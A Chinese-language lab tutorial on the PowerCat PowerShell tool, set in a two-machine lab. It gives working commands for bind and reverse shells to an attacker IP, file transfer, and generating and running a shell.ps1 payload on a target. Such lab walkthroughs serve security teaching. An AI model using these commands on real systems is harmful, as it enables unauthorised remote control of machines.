PowerCat反弹Shell

PowerCat介绍

PowerCat是一个powershell写的tcp/ip瑞士军刀,看一看成ncat的powershell的实现,然后里面也加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等。

PowerCat安装

PowerCat下载地址:https://github.com/besimorhino/powercat

#导入模块
Import-Module .\powercat.ps1
#如果提示未能加载指定模块,则可能是权限问题,以管理员权限运行powershell,然后输入如下代码
Set-ExecutionPolicy Unrestricted
#输入如下命令可以查看帮助信息
powercat -h

如下就是导入模块成功的界面

内网隧道代理技术(六)之 PowerCat反弹Shell_网络安全

PowerCat命令

PowerCat的详细命令作用如下表:

参数

作用

-l

监听连接

-c

连接到侦听器

-p

要连接或监听的端口

-e

执行

-ep

执行Powershell

-r

中继。格式:“-r tcp:10.1.1.1:443”

-u

通过UDP传输数据

-dns

通过dns传输数据

-dnsft

DNS故障阈值

-t

超时选项。默认值:60

-I

输入:文件路径(字符串),字节数组或字符串

-o

控制台输出类型:“主机”,“字节”或“字符串”

-of

输出文件路径

-d

连接后断开连接

-rep

中继器。断开连接后重新启动

-g

生成有效载荷

-ge

生成编码的有效载荷

-h

打印帮助消息

PowerCat实验

实验拓扑

内网隧道代理技术(六)之 PowerCat反弹Shell_安全_02

机器名称

IP

攻击机器

192.168.41.20

服务器

192.168.41.130

PowerCat和nc正向连接

服务器使用powercat执行以下命令

powercat -l -p 8080 -e cmd.exe -v

内网隧道代理技术(六)之 PowerCat反弹Shell_安全_03

攻击机使用nc执行以下命令

nc64.exe 192.168.41.130 8080 -vv

内网隧道代理技术(六)之 PowerCat反弹Shell_tcp/ip_04

查看返回结果,发现我们成功正向shell到目标服务器

内网隧道代理技术(六)之 PowerCat反弹Shell_tcp/ip_05

PowerCat和nc反向连接

攻击机使用nc执行以下命令

nc64.exe -l -p 8888 -vv

内网隧道代理技术(六)之 PowerCat反弹Shell_服务器_06

服务器使用powercat执行以下命令

powercat -c 192.168.41.20 -p 8888 -v -e cmd.exe

内网隧道代理技术(六)之 PowerCat反弹Shell_网络安全_07

查看返回结果发现我们成功反向shell到目标服务器

内网隧道代理技术(六)之 PowerCat反弹Shell_安全_08

PowerCat和PowerCat反向连接

攻击机使用powercat执行以下命令

powercat -l -p 9999 -v

内网隧道代理技术(六)之 PowerCat反弹Shell_网络_09

服务器使用powercat执行以下命令

powercat -c 192.168.41.20 -p 9999 -v -ep

内网隧道代理技术(六)之 PowerCat反弹Shell_网络_10

查看返回结果,发现我们成功反向shell到目标服务器

内网隧道代理技术(六)之 PowerCat反弹Shell_tcp/ip_11

PowerCat文件传输

服务器使用powercat执行以下命令

powercat -l -p 9999 -of test.txt -v

内网隧道代理技术(六)之 PowerCat反弹Shell_tcp/ip_12

攻击机使用powercat执行以下命令

powercat -c 192.168.41.130 -p 9999 -i C:test.txt -v

内网隧道代理技术(六)之 PowerCat反弹Shell_安全_13

查看返回结果,发现我们的服务器收到目标文件

内网隧道代理技术(六)之 PowerCat反弹Shell_安全_14

用powercat生成payload连接shell

攻击机使用powercat执行以下命令生成payload

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

内网隧道代理技术(六)之 PowerCat反弹Shell_tcp/ip_15

上传shell文件到目标服务器,然后在服务器上运行脚本

.\shell.ps1

内网隧道代理技术(六)之 PowerCat反弹Shell_服务器_16

攻击机使用powercat执行以下命令连接

powercat -c 192.168.41.130 -p 8000 -v

内网隧道代理技术(六)之 PowerCat反弹Shell_tcp/ip_17

查看运行结果,发现我们成功得控制目标服务器

内网隧道代理技术(六)之 PowerCat反弹Shell_网络安全_18